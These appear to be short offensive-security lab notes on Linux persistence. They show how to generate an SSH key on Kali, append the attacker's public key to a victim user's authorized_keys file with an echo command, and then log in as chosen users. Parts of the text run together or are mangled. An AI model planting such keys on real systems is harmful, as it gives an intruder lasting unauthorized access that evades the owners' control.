Persistence
Insert our public key into a user’s ~/.ssh/authorized_keys file
On Kali:
ssh-keygencat the contents of id_rsa.pub
On Victim:
echo "ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali" >> /home/linuxvictim/.ssh/authorized_keysNow SSH as specific user
ssh -i root [email protected]
ssh -i pete_complyedge [email protected]@192.168.226.164Last updated